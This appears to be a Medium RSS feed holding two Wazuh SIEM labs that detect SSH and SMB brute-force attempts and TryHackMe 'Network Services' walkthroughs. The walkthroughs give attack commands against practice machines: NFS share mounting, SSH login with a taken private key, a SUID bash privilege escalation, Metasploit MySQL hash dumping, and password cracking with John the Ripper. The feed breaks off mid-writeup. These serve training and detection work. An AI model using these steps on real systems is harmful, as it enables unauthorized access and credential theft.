<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by x00 on Medium]]></title>
        <description><![CDATA[Stories by x00 on Medium]]></description>
        <link>https://medium.com/@cb.fcsumile?source=rss-73e71f476583------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*3I0_67zdS-4YAihNv2HFJQ.jpeg</url>
            <title>Stories by x00 on Medium</title>
            <link>https://medium.com/@cb.fcsumile?source=rss-73e71f476583------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 04:09:32 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cb.fcsumile/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hands-On SIEM Lab: Detecting Brute-Force SSH Bruteforce Attack with Wazuh]]></title>
            <link>https://medium.com/@cb.fcsumile/hands-on-siem-lab-detecting-brute-force-ssh-bruteforce-attack-with-wazuh-3551bca5163c?source=rss-73e71f476583------2</link>
            <guid isPermaLink="false">https://medium.com/p/3551bca5163c</guid>
            <dc:creator><![CDATA[x00]]></dc:creator>
            <pubDate>Thu, 03 Jul 2025 08:02:52 GMT</pubDate>
            <atom:updated>2025-07-03T08:02:52.899Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V_p3q7Kq0Bc6PI8q4Hw2FQ.png" /></figure><blockquote>“Prevention is ideal, but detection is a must.” — This lab shows how I built a real-world brute-force detection system using open-source tools like Wazuh and Hydra, proving my readiness for SOC Analyst roles.</blockquote><h3>Objective</h3><p>Simulate SSH brute-force attacks using <strong>Hydra</strong> and write custom detection rules in <strong>Wazuh SIEM</strong>. This exercise sharpens behavioral detection skills — going beyond signatures to catch patterns of abuse.</p><p>This lab is designed to prove behavioral detection, blue team tuning, and SIEM rule engineering skills.</p><h3>What You’ll Learn:</h3><ul><li>SSH brute-force detection with Wazuh</li><li>Custom rule creation using pattern matching</li><li>Alert escalation using frequency/timeframe logic</li><li>MITRE ATT&amp;CK mapping and basic response automation</li></ul><h3>Lab Setup</h3><pre>| Component            | Role                              |<br>| ---------------------| --------------------------------- |<br>| Ubuntu Wazuh Server  | Ubuntu (collects &amp; analyzes logs) |<br>| Windows Wazuh Agent  | Simulated target (log source)     |<br>| Kali Linux           | Simulated attacker                |</pre><p>Ensure Wazuh agent is installed on Windows and auditing/log forwarding is enabled for login attempts (EventChannel: Security).</p><h3>Step 1: Simulate Brute-Force Attack with Hydra</h3><p>On Kali Linux</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*YWPNZmOjHB9_BMCrZkV9nA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*dNO4xKAy0zeiW2UaFXZ40g.png" /></figure><blockquote>Hydra attempts to guess credentials using a large wordlist. Failed logins generate audit entries in the Ubuntu system’s log, which Wazuh ingests and analyzes.</blockquote><p>⚠ Make sure the target machine has the service running and logs authentication attempts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*7AjVjRC2EukWnB7HMvwz4w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qy2LgjjmRYUoSj6yntFDMw.png" /></figure><h3>Step 2: Create Wazuh Custom Rules</h3><p>Edit the Wazuh rules file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*cyFUdLH2gOY1NZoRYpC5Kg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*xIEqBVUDkRpShv8oqxZePA.png" /></figure><h3>Step 3: Restart and Test</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JpqlDTwLW60Q6QzxDj0JDg.png" /></figure><p>Trigger a few failed logins from Kali again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*LepakQb-DoRIZqjxwCag_A.png" /></figure><h3>Step 4: Monitor in Wazuh Dashboard</h3><ul><li>Go to <strong>Wazuh Dashboard &gt; Agent &gt; Threat Intelligence &gt; Events</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RMe-Nl8HtXHWT_EDuyWNkA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*7AjVjRC2EukWnB7HMvwz4w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*99raUDbkCE1FiwKdN2cikA.png" /></figure><p>JSON output from Wazuh shows that —</p><ul><li>We Successfully detected an SSH logon via sshd.exe (event ID 4624, logon type 3)</li><li>We Then recorded a privileged action assigned after login (event ID 4672)</li></ul><h3>What this Logs Shows you:</h3><h4>Logon Event: 4624</h4><ul><li>Logon Type: <strong>3</strong> = Network logon (e.g., over SSH)</li><li>Process: <strong>sshd.exe</strong> — confirms it came through the OpenSSH service on Windows</li><li>Authentication Package: <strong>MICROSOFT_AUTHENTICATION_PACKAGE_V1_0</strong></li><li>User Logged In: <strong>windows@DESKTOP-SHDSCUU</strong></li><li>Elevated Token: <strong>Yes</strong> — this was not a regular user session; it had admin-like capabilities</li></ul><h4>Special Privileges Assigned: 4672</h4><p>This is extremely important in detection use-cases:</p><ul><li><strong>Event ID 4672</strong> = A user has received admin-level privileges</li><li>Often paired with <strong>4624 → Logon + Privilege</strong> = Admin logon</li><li><strong>MITRE ATT&amp;CK Mapping</strong>:</li><li><strong>T1078</strong> — Valid Accounts</li><li><strong>T1484 </strong>— Domain Policy Modification</li></ul><p>This exact attack is used in:</p><ul><li>Credential access techniques</li><li>Domain escalation</li><li>Lateral movement</li></ul><h3>Step 5: Add Optional Active Response</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*q8p5GRt8i5rckDkBSKC0pA.png" /></figure><h3>What you learned</h3><pre>|Skill Demonstrated                 | SOC Value                                 |<br>| ----------------------------------| ------------------------------------------|<br>| Behavioral Detection Engineering  | Go beyond signature-based rules           | <br>| Log Parsing &amp; Forensics           | Real-time log monitoring &amp; interpretation |<br>| Threat Simulation (Red vs Blue)   | Safe attack simulation in lab environment |<br>| Linux Scripting &amp; Tuning          | System hardening and active response      |<br>| Real World Scenario (SMB/SSH)     | Relevance to enterprise infrastructure    |</pre><h3>Insights</h3><blockquote>This lab isn’t just a simulation — it’s a <strong>demonstration of readiness</strong>.</blockquote><ul><li>Created a complete detection system using open tools</li><li>Tuned and escalated alerts using frequency/timeframe logic</li><li>Mapped all activity to MITRE ATT&amp;CK</li><li>Demonstrated both red (Hydra) and blue (Wazuh) team capabilities</li><li>Ready to contribute to SOC teams immediately</li></ul><h3><strong>Resources</strong>:</h3><ul><li><a href="https://attack.mitre.org/techniques/T1110/">MITRE T1110: Brute Force</a></li><li><a href="https://attack.mitre.org/techniques/T1078/">MITRE T1078: Valid Accounts</a></li><li><a href="https://attack.mitre.org/techniques/T1484/">MITRE T1484: Domain Policy Modification</a></li><li><a href="https://documentation.wazuh.com/current/user-manual/ruleset/ruleset-xml-syntax/rules.html">Wazuh Rules Syntax</a></li></ul><h3>Related Articles</h3><p><a href="https://medium.com/p/256afd5ca842/edit">Detecting SMB Bruteforce</a></p><p>#SOC #SEEKINGSOCJOBS #SOCJOBSUAE #SOCLABS</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3551bca5163c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hands-On SIEM Lab: Detecting SMB Brute-Force Attacks on Windows using Wazuh (MITRE T1110)]]></title>
            <link>https://medium.com/@cb.fcsumile/hands-on-siem-lab-detecting-smb-brute-force-attacks-on-windows-using-wazuh-mitre-t1110-256afd5ca842?source=rss-73e71f476583------2</link>
            <guid isPermaLink="false">https://medium.com/p/256afd5ca842</guid>
            <dc:creator><![CDATA[x00]]></dc:creator>
            <pubDate>Thu, 26 Jun 2025 07:00:16 GMT</pubDate>
            <atom:updated>2025-06-26T07:00:16.173Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V_p3q7Kq0Bc6PI8q4Hw2FQ.png" /></figure><h3>Objective</h3><p>Simulate and detect brute-force attacks on the SMB service of a Windows machine using <strong>Kali Linux</strong>, while leveraging <strong>Wazuh SIEM</strong> to monitor, analyze, and alert on suspicious activity.</p><blockquote>This hands-on lab demonstrates practical incident detection aligned with <strong>MITRE ATT&amp;CK T1110 — Brute Force</strong>, showcasing skills highly relevant to <strong>SOC Analyst roles</strong> in enterprise or government infrastructure.</blockquote><h3>LAB SETUP</h3><pre>| Component            | Role                              |<br>| ---------------------| --------------------------------- |<br>| Ubuntu Wazuh Server  | Ubuntu (collects &amp; analyzes logs) |<br>| Windows Wazuh Agent  | Simulated target (log source)     |<br>| Kali Linux           | Simulated attacker                |</pre><ul><li>Wazuh Agent installed on the Windows machine.</li><li>Open SMB ports (445) and enable file sharing.</li><li>Wazuh manager is monitoring EventChannel logs for Event ID 4625.</li></ul><h3>🧪 Attack Simulation using smbclient</h3><p>From Kali:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*V6fkpWUUw1gtGhyHvJnr3A.png" /></figure><p>This triggers Windows Security Event 4625:</p><ul><li>Logon Type: 3 (network)</li><li>Process: srvsvc or services.exe</li><li>Authentication Package: NTLM</li><li>Failure Reason: Unknown username or bad password</li></ul><h3>🧠 Wazuh Detection</h3><p>Check the logs using the eventID:4625</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qCjPIRd7WdF2-5O96FYzKg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*unryNK4U9eH0dGULsjyikQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jJwEfUsyvbEZqEYxi3RFGg.png" /></figure><h3>Create Custom Rule: Detect Multiple SMB Logon Failures</h3><p>Open the local_rules.xml and edit using nano then restart the wazuh-manager and check its status if the rules don’t have an error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*cyFUdLH2gOY1NZoRYpC5Kg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pthy3wYdkIcspAT0X5QFiQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JpqlDTwLW60Q6QzxDj0JDg.png" /></figure><h3>What You Learned</h3><pre>| Key Element            | Value                               |<br>| -----------------------| ----------------------------------- |<br>| Detected Attack        | SMB Brute-force                     |<br>| Detection ID           | 100200                              |<br>| Event Used             | 4625                                |<br>| MITRE Technique        | T1110                               |<br>| Trigger                | 5 Failed Logins in 60s from same IP |</pre><h3>Resources:</h3><ul><li><a href="https://attack.mitre.org/techniques/T1110/">MITRE T1110: Brute Force</a></li></ul><p>#SOC #SEEKINGSOCJOBS #SOCJOBSUAE #SOCLABS</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=256afd5ca842" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Network Services 2 — Tryhackme]]></title>
            <link>https://medium.com/@cb.fcsumile/network-services-2-tryhackme-7bab132c36ef?source=rss-73e71f476583------2</link>
            <guid isPermaLink="false">https://medium.com/p/7bab132c36ef</guid>
            <dc:creator><![CDATA[x00]]></dc:creator>
            <pubDate>Thu, 23 Feb 2023 17:51:00 GMT</pubDate>
            <atom:updated>2023-02-23T17:51:00.785Z</atom:updated>
            <content:encoded><![CDATA[<h3>Network Services 2 — Tryhackme</h3><p>Tryhackme writeup for Network Services 2 in Cyberdefense module</p><p><a href="https://tryhackme.com/room/networkservices2">TryHackMe | Cyber Security Training</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PtwQXCfXMj4O7abwzhyyVQ.jpeg" /></figure><p><strong>What is NFS?</strong></p><p>NFS stands for “Network File System” and allows a system to share directories and files with others over a network. By using NFS, users and programs can access files on remote systems almost as if they were local files. It does this by mounting all, or a portion of a file system on a server. The portion of the file system that is mounted can be accessed by clients with whatever privileges are assigned to each file.</p><p><strong>How does NFS work?</strong></p><p>We don’t need to understand the technical exchange in too much detail to be able to exploit NFS effectively- however if this is something that interests you, I would recommend this resource: <a href="https://docs.oracle.com/cd/E19683-01/816-4882/6mb2ipq7l/index.html">https://docs.oracle.com/cd/E19683-01/816-4882/6mb2ipq7l/index.html</a></p><p>First, the client will request to mount a directory from a remote host on a local directory just the same way it can mount a physical device. The mount service will then act to connect to the relevant mount daemon using RPC.</p><p>The server checks if the user has permission to mount whatever directory has been requested. It will then return a file handle which uniquely identifies each file and directory that is on the server.</p><p>If someone wants to access a file using NFS, an RPC call is placed to NFSD (the NFS daemon) on the server. This call takes parameters such as:</p><ul><li>The file handle</li><li>The name of the file to be accessed</li><li>The user’s, user ID</li><li>The user’s group ID</li></ul><p>These are used in determining access rights to the specified file. This is what controls user permissions, I.E read and write of files.</p><p><strong>What runs NFS?</strong></p><p>Using the NFS protocol, you can transfer files between computers running Windows and other non-Windows operating systems, such as Linux, MacOS or UNIX.</p><p>A computer running Windows Server can act as an NFS file server for other non-Windows client computers. Likewise, NFS allows a Windows-based computer running Windows Server to access files stored on a non-Windows NFS server.</p><p><strong>More Information:</strong></p><p>Here are some resources that explain the technical implementation, and working of, NFS in more detail than I have covered here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*hOaXFxRXyzdMXiSIXKeCSg.jpeg" /></figure><p><strong>Answer the questions below</strong></p><p>What does NFS stand for?</p><blockquote>Network File System</blockquote><p>What process allows an NFS client to interact with a remote directory as though it was a physical device?</p><blockquote>mounting</blockquote><p>What does NFS use to represent files and directories on the server?</p><blockquote>File Handle</blockquote><p>What protocol does NFS use to communicate between the server and client?</p><blockquote>rpc</blockquote><p>What two pieces of user data does the NFS server take as parameters for controlling user permissions? Format: parameter 1 / parameter 2</p><blockquote>user id/ group id</blockquote><p>Can a Windows NFS server share files with a Linux client? (Y/N)</p><blockquote>Y</blockquote><p>Can a Linux NFS server share files with a MacOS client? (Y/N)</p><blockquote>Y</blockquote><p>What is the latest version of NFS? [released in 2016, but is still up to date as of 2020] This will require external research.</p><blockquote>4.2</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*4lwaJFCXMSREFGUVa_BB7w.jpeg" /></figure><p><strong>Answer the questions below</strong></p><p>Conduct a thorough port scan scan of your choosing, how many ports are open?</p><pre>nmap -sS -T4 -A $ip</pre><blockquote>7</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*QqXw6RQUc9875hbRX_1SMg.jpeg" /></figure><p>Which port contains the service we’re looking to enumerate?</p><blockquote>2049</blockquote><p>Now, use /usr/sbin/showmount -e [IP] to list the NFS shares, what is the name of the visible share?</p><pre>/usr/sbin/showmount -e $ip</pre><blockquote>/home</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l_0FG1TwwjHkWmJkS8uYjQ.jpeg" /></figure><p>Then, use the mount command we broke down earlier to mount the NFS share to your local machine. Change directory to where you mounted the share- what is the name of the folder inside?</p><blockquote>cappucino</blockquote><p>Have a look inside this directory, look at the files. Looks like we’re inside a user’s home directory…</p><p>Interesting! Let’s do a bit of research now, have a look through the folders. Which of these folde<strong>rs</strong> could cont<strong>a</strong>in keys that would give us remote access to the server?</p><blockquote>.ssh</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vfoLafAsRIkFmzOq59x5jw.jpeg" /></figure><p>Which of these keys is most useful to us?</p><blockquote>id_rsa</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L1ShLJ4nYVeQUPnvN257Og.jpeg" /></figure><p>Copy this file to a different location your local machine, and change the permissions to “600” using “chmod 600 [file]”.</p><p>Assuming we were right about what type of directory this is, we can pretty easily work out the name of the user this key corresponds to.</p><p>Can we log into the machine using <em>ssh -i &lt;key-file&gt; &lt;username&gt;@&lt;ip&gt;</em> ? (Y/N)</p><blockquote>Y</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*3Ig9e0rO5lgloZnNk9WugQ.jpeg" /></figure><p>Now, we’re going to add the SUID bit permission to the bash executable we just copied to the share using “sudo chmod +[permission] bash”. What letter do we use to set the SUID bit set using chmod?</p><blockquote>s</blockquote><p>Let’s do a sanity check, let’s check the permissions of the “bash” executable using “ls -la bash”. What does the permission set look like? Make sure that it ends with -sr-x.</p><blockquote>-rwsr-sr-x</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BLV3onmJ2rR0vRzdTlL8Tw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ePALhEE7OquFSgzH1K5IVg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*QIExirGMCd84P_fhqWlQfw.jpeg" /></figure><p><strong>Answer the questions below</strong></p><p>What does SMTP stand for?</p><blockquote>simple mail transfer protocol</blockquote><p>What does SMTP handle the sending of? (answer in plural)</p><blockquote>emails</blockquote><p>What is the first step in the SMTP process?</p><blockquote>smtp handshake</blockquote><p>What is the default SMTP port?</p><blockquote>25</blockquote><p>Where does the SMTP server send the email if the recipient’s server is not available?</p><blockquote>smtp queue</blockquote><p>On what server does the Email ultimately end up on?</p><blockquote>pop/imap</blockquote><p>Can a Linux machine run an SMTP server? (Y/N)</p><blockquote>Y</blockquote><p>Can a Windows machine run an SMTP server? (Y/N)</p><blockquote>y</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*h96FUc6RIkRLQK9mTc9W7g.jpeg" /></figure><p><strong>Answer the questions below</strong></p><p>First, lets run a port scan against the target machine, same as last time. What port is SMTP running on?</p><blockquote>25</blockquote><pre>nmap -sS -A -T4 $ip</pre><p>Okay, now we know what port we should be targeting, let’s start up Metasploit. What command do we use to do this?</p><blockquote>msfconsole</blockquote><p>If you would like some more help, or practice using, Metasploit, Darkstar has an amazing room on Metasploit that you can check out here:</p><p><a href="https://tryhackme.com/room/rpmetasploit">https://tryhackme.com/room/rpmetasploit</a></p><p>Let’s search for the module “smtp_version”, what’s it’s full module name?</p><blockquote>auxiliary/scanner/smtp/smtp_version</blockquote><p>Great, now- select the module and list the options. How do we do this?</p><blockquote>options</blockquote><p>Have a look through the options, does everything seem correct? What is the option we need to set?</p><blockquote>rhosts</blockquote><p>Set that to the correct value for your target machine. Then run the exploit. What’s the system mail name?</p><blockquote>polosmtp.home</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*iiCsr6sxM-By35oDhCehEA.jpeg" /></figure><p>What Mail Transfer Agent (MTA) is running the SMTP server? This will require some external research.</p><blockquote>postfix</blockquote><p>Good! We’ve now got a good amount of information on the target system to move onto the next stage. Let’s search for the module “<em>smtp_enum</em>”, what’s it’s full module name?</p><blockquote>auxiliary/scanner/smtp/smtp_enum</blockquote><p>We’re going to be using the <em>“top-usernames-shortlist.txt”</em> wordlist from the Usernames subsection of seclists (/usr/share/wordlists/SecLists/Usernames if you have it installed).</p><p>Seclists is an amazing collection of wordlists. If you’re running Kali or Parrot you can install seclists with: “sudo apt install seclists” Alternatively, you can download the repository from <a href="https://github.com/danielmiessler/SecLists">here</a>.</p><p>What option do we need to set to the wordlist’s path?</p><blockquote>user_file</blockquote><p>Once we’ve set this option, what is the other essential paramater we need to set?</p><blockquote>rhosts</blockquote><p>Now, run the exploit, this may take a few minutes, so grab a cup of tea, coffee, water. Keep yourself hydrated!</p><p>Okay! Now that’s finished, what username is returned?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DPT7ldoLVPk8R2RIVNejIw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*lcwGM1C7-sZRb35MiWwgOg.jpeg" /></figure><p><strong>Answer the questions below</strong></p><p>What is the password of the user we found during our enumeration stage?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aLG5X211QHHbBnPZ8X_SRw.jpeg" /></figure><p>Great! Now, let’s SSH into the server as the user, what is contents of smtp.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SDk43ix1XjvNXYbkglt7OA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*lcwGM1C7-sZRb35MiWwgOg.jpeg" /></figure><p><strong>Answer the questions below</strong></p><p>As always, let’s start out with a port scan, so we know what port the service we’re trying to attack is running on. What port is MySQL using?</p><pre>nmap -sS -A -T4 $ip</pre><blockquote>3306</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*RudxSwGqybjxvavdjKEXkA.jpeg" /></figure><p>Good, now- we think we have a set of credentials. Let’s double check that by manually connecting to the MySQL server. We can do this using the command “<em>mysql -h [IP] -u [username] -p</em>”</p><p>Okay, we know that our login credentials work. Lets quit out of this session with “exit” and launch up Metasploit.</p><pre>nmap --script=mysql-enum $ip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*tykUT4sfc1xfKchPRgjmMg.jpeg" /></figure><p>We’re going to be using the “mysql_sql” module.</p><p>Search for, select and list the options it needs. What three options do we need to set? (in descending order).</p><pre>msfconsole<br>search mysql_sql<br>use 0<br>show options</pre><blockquote>password/rhosts/username</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EpSpx_Uc2hjvRtUyFAG79Q.jpeg" /></figure><p>Run the exploit. By default it will test with the “select version()” command, what result does this give you?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yya_dqAs41GRs5pKlWK8Kw.jpeg" /></figure><p>Great! We know that our exploit is landing as planned. Let’s try to gain some more ambitious information. Change the “sql” option to “show databases”. how many databases are returned?</p><p>set sql = show databases</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3SJsZ_mOSroxEr62Z-B2pg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H5SJXD3OlkUzDSPP-j3K7w.jpeg" /></figure><p><strong>Answer the questions below</strong></p><p>First, let’s search for and select the “mysql_schemadump” module. What’s the module’s full name?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DTxniXiDS_xT1_cwkCtX3Q.jpeg" /></figure><p>Great! Now, you’ve done this a few times by now so I’ll let you take it from here. Set the relevant options, run the exploit. What’s the name of the last table that gets dumped?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iWTd8es5xS_TsKjVxtGcfA.jpeg" /></figure><p>Awesome, you have now dumped the tables, and column names of the whole database. But we can do one better… search for and select the “mysql_hashdump” module. What’s the module’s full name?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4y5BnZ3IM49ujrZAzjzQSw.jpeg" /></figure><p>Again, I’ll let you take it from here. Set the relevant options, run the exploit. What non-default user stands out to you?</p><blockquote>carl</blockquote><p>Another user! And we have their password hash. This could be very interesting. Copy the hash string in full, like: bob:*HASH to a text file on your local machine called “hash.txt”.</p><p>What is the user/hash combination string?</p><p>Now, we need to crack the password! Let’s try John the Ripper against it using: “<em>john hash.txt</em>” what is the password of the user we found?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*drag3NTNcen16t-99eSW0Q.jpeg" /></figure><p>Awesome. Password reuse is not only extremely dangerous, but extremely common. What are the chances that this user has reused their password for a different service?</p><p>What’s the contents of MySQL.txt</p><pre>ssh carl@$ip<br>use the password attained using JTR<br>ls<br>cat MySQL.txt</pre><p>#tryhackme #ctf #networkservices2 #blueteam #cyberdefense</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7bab132c36ef" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Network Services — Tryhackme]]></title>
            <link>https://medium.com/@cb.fcsumile/network-services-tryhackme-8c9b1c785e6f?source=rss-73e71f476583------2</link>
            <guid isPermaLink="false">https://medium.com/p/8c9b1c785e6f</guid>
            <dc:creator><![CDATA[x00]]></dc:creator>
            <pubDate>Tue, 21 Feb 2023 22:02:31 GMT</pubDate>
            <atom:updated>2025-05-26T03:30:26.558Z</atom:updated>
            <content:encoded><![CDATA[<h3>Network Services — Tryhackme</h3><p>This is my writeup for Network Services in Tryhackme Cyberdefense Module</p><p><a href="https://tryhackme.com/room/networkservices">Network Services</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5DocjXj0HdTR9WGIXZtUdw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*5WQIQZw3ryrRL7gLBTkaUg.jpeg" /></figure><p><strong>What is SMB?</strong></p><p>SMB — Server Message Block Protocol — is a client-server communication protocol used for sharing access to files, printers, serial ports and other resources on a network. [<a href="https://searchnetworking.techtarget.com/definition/Server-Message-Block-Protocol">source</a>]</p><p>Servers make file systems and other resources (printers, named pipes, APIs) available to clients on the network. Client computers may have their own hard disks, but they also want access to the shared file systems and printers on the servers.</p><p>The SMB protocol is known as a response-request protocol, meaning that it transmits multiple messages between the client and server to establish a connection. Clients connect to servers using TCP/IP (actually NetBIOS over TCP/IP as specified in RFC1001 and RFC1002), NetBEUI or IPX/SPX.</p><p><strong>How does SMB work?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/0*grSA73UuRRI1_183.png" /></figure><p>Once they have established a connection, clients can then send commands (SMBs) to the server that allow them to access shares, open files, read and write files, and generally do all the sort of things that you want to do with a file system. However, in the case of SMB, these things are done over the network.</p><p><strong>What runs SMB?</strong></p><p>Microsoft Windows operating systems since Windows 95 have included client and server SMB protocol support. Samba, an open source server that supports the SMB protocol, was released for Unix systems.</p><p><strong>Answer the questions below</strong></p><p>What does SMB stand for?</p><blockquote>server message block</blockquote><p>What type of protocol is SMB?</p><blockquote>response-request</blockquote><p>What do clients connect to servers using?</p><blockquote>tcp/ip</blockquote><p>What systems does Samba run on?</p><blockquote>unix</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*8ElvE0zu5X8Tjc6YhOI4gA.jpeg" /></figure><p><strong>Enumeration</strong></p><p>Enumeration is the process of gathering information on a target in order to find potential attack vectors and aid in exploitation.</p><p>This process is essential for an attack to be successful, as wasting time with exploits that either don’t work or can crash the system can be a waste of energy. Enumeration can be used to gather usernames, passwords, network information, hostnames, application data, services, or any other information that may be valuable to an attacker.</p><p><strong>SMB</strong></p><p>Typically, there are SMB share drives on a server that can be connected to and used to view or transfer files. SMB can often be a great starting point for an attacker looking to discover sensitive information — you’d be surprised what is sometimes included on these shares.</p><p><strong>Port Scanning</strong></p><p>The first step of enumeration is to conduct a port scan, to find out as much information as you can about the services, applications, structure and operating system of the target machine.</p><p>If you haven’t already looked at port scanning, I <strong>recommend</strong> checking out the Nmap room <a href="https://tryhackme.com/room/furthernmap">here</a>.</p><p><strong>Enum4Linux</strong></p><p>Enum4linux is a tool used to enumerate SMB shares on both Windows and Linux systems. It is basically a wrapper around the tools in the Samba package and makes it easy to quickly extract information from the target pertaining to SMB. It’s installed by default on Parrot and Kali, however if you need to install it, you can do so from the official <a href="https://github.com/portcullislabs/enum4linux">github</a>.</p><p>The syntax of Enum4Linux is nice and simple: <strong>“enum4linux [options] ip”</strong></p><p><strong>TAG</strong> <strong>FUNCTION</strong></p><p>-U get userlist<br>-M get machine list<br>-N get namelist dump (different from -U and-M)<br>-S get sharelist<br>-P get password policy information<br>-G get group and member list</p><p>-a all of the above (full basic enumeration)</p><p>Now we understand our enumeration tools, let’s get started!</p><p><strong>Answer the questions below</strong></p><p>Conduct an <strong>nmap</strong> scan of your choosing, How many ports are open?</p><pre>nmap -sS -T4 $ip</pre><blockquote>3</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DJKhN5CTEXKKJvtrqVxWOg.jpeg" /></figure><p>What ports is <strong>SMB</strong> running on?</p><blockquote>139/445</blockquote><p>Let’s get started with Enum4Linux, conduct a full basic enumeration. For starters, what is the <strong>workgroup </strong>name?</p><pre>enum4linux -a $ip | grep &quot;workgroup&quot;</pre><blockquote>Workgroup</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t6ww9qL2VevbvUeclegYRA.jpeg" /></figure><p>What comes up as the <strong>name</strong> of the machine?</p><pre>enum4linux -a $ip | grep -i &quot;workgroup&quot;</pre><blockquote>polosmb</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*jUDZNpciketXpijPNJusEg.jpeg" /></figure><p>What operating system <strong>version</strong> is running?</p><pre>enum4linux -a $ip | grep -i &quot;os version&quot;</pre><blockquote>6.1</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wTClVDXBdi0p9liV9-dxOQ.jpeg" /></figure><p>What share sticks out as something we might want to investigate?</p><pre>enum4linux -a $ip | grep -i &quot;sharename&quot;</pre><blockquote>profiles</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cV5LRoan2_7sjgJbfFNkww.jpeg" /></figure><figure><img alt="" 